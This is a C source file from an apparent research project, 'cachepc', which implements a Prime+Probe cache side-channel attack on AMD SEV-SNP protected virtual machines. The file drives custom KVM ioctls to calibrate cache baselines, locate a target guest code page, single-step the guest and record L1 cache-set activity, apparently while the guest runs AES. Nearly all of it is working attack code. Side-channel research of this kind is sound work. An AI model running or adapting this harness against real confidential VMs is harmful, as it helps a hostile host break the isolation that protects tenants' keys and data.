cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

qemu-aes.c (5825B)


      1#include "test/kvm-eviction.h"
      2#include "test/kvm.h"
      3#include "test/util.h"
      4#include "cachepc/uapi.h"
      5
      6#include <sys/ioctl.h>
      7#include <sys/mman.h>
      8#include <signal.h>
      9#include <unistd.h>
     10#include <fcntl.h>
     11#include <errno.h>
     12#include <err.h>
     13#include <string.h>
     14#include <stdbool.h>
     15#include <stdio.h>
     16#include <stdlib.h>
     17
     18static struct cpc_event event;
     19static struct cpc_event_batch batch;
     20static uint64_t target_inst_gfn = 0;
     21
     22int
     23monitor(bool baseline)
     24{
     25	uint8_t counts[L1_SETS];
     26	int ret;
     27
     28	ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event);
     29	if (ret && errno == EAGAIN) return 0;
     30	if (ret) err(1, "KVM_CPC_POLL_EVENT");
     31
     32	switch (event.type) {
     33	case CPC_EVENT_GUEST:
     34		printf("Guest %s\n", !event.guest.type ? "start" : "stop");
     35		if (event.guest.type == CPC_GUEST_STOP_TRACK)
     36			return 2;
     37		break;
     38	case CPC_EVENT_TRACK_STEP:
     39		ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts);
     40		if (ret) err(1, "KVM_CPC_READ_COUNTS");
     41
     42		if (!target_inst_gfn && baseline)
     43			target_inst_gfn = event.step.inst_gfn;
     44
     45		printf("Event: rip:%016llx cnt:%llu "
     46			"inst:%08llx ret:%llu\n",
     47			vm_get_rip(), event.step.fault_count,
     48			event.step.inst_gfn, event.step.retinst);
     49		print_counts(counts);
     50		printf("\n");
     51		print_counts_raw(counts);
     52		printf("\n");
     53		break;
     54	default:
     55		errx(1, "unexpected event type %i", event.type);
     56	}
     57
     58	ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id);
     59	if (ret) err(1, "KVM_CPC_ACK_EVENT");
     60
     61	return 1;
     62}
     63
     64void
     65read_batch(void)
     66{
     67	uint32_t i;
     68	int ret;
     69
     70	ret = ioctl(kvm_dev, KVM_CPC_READ_BATCH, &batch);
     71	if (ret && errno == EAGAIN) return;
     72	if (ret && errno != EAGAIN) err(1, "KVM_CPC_READ_BATCH");
     73
     74	for (i = 0; i < batch.cnt; i++) {
     75		if (batch.buf[i].type == CPC_EVENT_TRACK_PAGE) {
     76			printf("GFN %08llx %04x %4llu %4llu\n",
     77				batch.buf[i].page.inst_gfn,
     78				batch.buf[i].page.fault_err,
     79				batch.buf[i].page.retinst,
     80				batch.buf[i].page.retinst_user);
     81			target_inst_gfn = batch.buf[i].page.inst_gfn;
     82		} else if (batch.buf[i].type == CPC_EVENT_TRACK_STEP) {
     83			printf("INST %08llx %04u\n",
     84				batch.buf[i].step.inst_gfn,
     85				batch.buf[i].step.fault_count);
     86		}
     87	}
     88}
     89
     90void
     91reset(int sig)
     92{
     93	int ret;
     94
     95	ret = ioctl(kvm_dev, KVM_CPC_RESET);
     96	if (ret) err(1, "KVM_CPC_RESET");
     97
     98	exit(1);
     99}
    100
    101int
    102main(int argc, const char **argv)
    103{
    104	uint8_t baseline[L1_SETS];
    105	struct cpc_track_cfg cfg;
    106	bool first_guest_event;
    107	uint32_t eventcnt;
    108	uint32_t arg;
    109	int ret;
    110
    111	pin_process(0, SECONDARY_CORE, true);
    112
    113	setvbuf(stdout, NULL, _IONBF, 0);
    114
    115	kvm_setup_init();
    116
    117	ret = ioctl(kvm_dev, KVM_CPC_RESET);
    118	if (ret) err(1, "KVM_CPC_RESET");
    119
    120	signal(SIGINT, reset);
    121
    122	arg = true;
    123	ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg);
    124	if (ret) err(1, "KVM_CPC_CALC_BASELINE");
    125
    126	memset(&cfg, 0, sizeof(cfg));
    127	cfg.mode = CPC_TRACK_STEPS;
    128	cfg.steps.with_data = true;
    129	cfg.steps.use_filter = true;
    130	ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg);
    131	if (ret) err(1, "KVM_CPC_RESET");
    132
    133	eventcnt = 0;
    134	while (eventcnt < 50) {
    135		eventcnt += monitor(true);
    136	}
    137
    138	ret = ioctl(kvm_dev, KVM_CPC_VM_REQ_PAUSE);
    139	if (ret) err(1, "KVM_CPC_VM_REQ_PAUSE");
    140
    141	while (1) {
    142		ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event);
    143		if (ret && errno == EAGAIN) continue;
    144		if (ret) err(1, "KVM_CPC_POLL_EVENT");
    145
    146		if (event.type == CPC_EVENT_PAUSE) break;
    147
    148		ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id);
    149		if (ret) err(1, "KVM_CPC_ACK_EVENT");
    150	}
    151
    152	arg = false;
    153	ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg);
    154	if (ret) err(1, "KVM_CPC_CALC_BASELINE");
    155
    156	arg = true;
    157	ret = ioctl(kvm_dev, KVM_CPC_APPLY_BASELINE, &arg);
    158	if (ret) err(1, "KVM_CPC_APPLY_BASELINE");
    159
    160	ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline);
    161	if (ret) err(1, "KVM_CPC_READ_BASELINE");
    162
    163	printf("\nBaseline:\n");
    164	print_counts(baseline);
    165	printf("\n");
    166	print_counts_raw(baseline);
    167	printf("\n\n");
    168
    169	memset(&cfg, 0, sizeof(&cfg));
    170	cfg.mode = CPC_TRACK_NONE;
    171	ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg);
    172	if (ret) err(1, "KVM_CPC_TRACK_MODE");
    173
    174	ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id);
    175	if (ret) err(1, "KVM_CPC_ACK_EVENT");
    176
    177	/* wait until guest program is run */
    178	printf("Press enter to continue..\n");
    179	getchar();
    180
    181	arg = true;
    182	ret = ioctl(kvm_dev, KVM_CPC_BATCH_EVENTS, &arg);
    183	if (ret) err(1, "KVM_CPC_BATCH_EVENTS");
    184
    185	memset(&cfg, 0, sizeof(cfg));
    186	cfg.mode = CPC_TRACK_PAGES;
    187	ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg);
    188	if (ret) err(1, "KVM_CPC_TRACK_MODE");
    189
    190	batch.cnt = 0;
    191	batch.maxcnt = CPC_EVENT_BATCH_MAX;
    192	batch.buf = malloc(sizeof(struct cpc_event) * batch.maxcnt);
    193	if (!batch.buf) err(1, "malloc");
    194
    195	first_guest_event = true;
    196	while (1) {
    197		ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event);
    198		if (ret && errno == EAGAIN) continue;
    199		if (ret) err(1, "KVM_CPC_POLL_EVENT");
    200
    201		if (event.type == CPC_EVENT_GUEST) {
    202			read_batch();
    203			printf("Guest %s\n",
    204				!event.guest.type ? "start" : "stop");
    205		}
    206
    207		if (event.type == CPC_EVENT_GUEST
    208				&& event.guest.type == CPC_GUEST_START_TRACK) {
    209			if (!first_guest_event)
    210				break;
    211			first_guest_event = false;
    212		}
    213
    214		if (event.type == CPC_EVENT_BATCH)
    215			read_batch();
    216
    217		ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id);
    218		if (ret) err(1, "KVM_CPC_ACK_EVENT");
    219	}
    220
    221	read_batch();
    222
    223	if (!batch.cnt) errx(1, "empty batch buffer");
    224	memset(&cfg, 0, sizeof(cfg));
    225	cfg.mode = CPC_TRACK_STEPS;
    226	cfg.steps.target_gfn = target_inst_gfn;
    227	cfg.steps.use_target = true;
    228	//cfg.steps.use_filter = true;
    229	//cfg.steps.with_data = true;
    230	ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg);
    231	if (ret) err(1, "KVM_CPC_TRACK_MODE");
    232
    233	ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id);
    234	if (ret) err(1, "KVM_CPC_ACK_EVENT");
    235
    236	printf("Target GFN: %08llx\n", cfg.steps.target_gfn);
    237
    238	while (monitor(false) != 2);
    239	read_batch();
    240
    241	signal(SIGINT, NULL);
    242
    243	ret = ioctl(kvm_dev, KVM_CPC_RESET);
    244	if (ret) err(1, "KVM_CPC_RESET");
    245
    246	free(batch.buf);
    247
    248	kvm_setup_deinit();
    249}
    250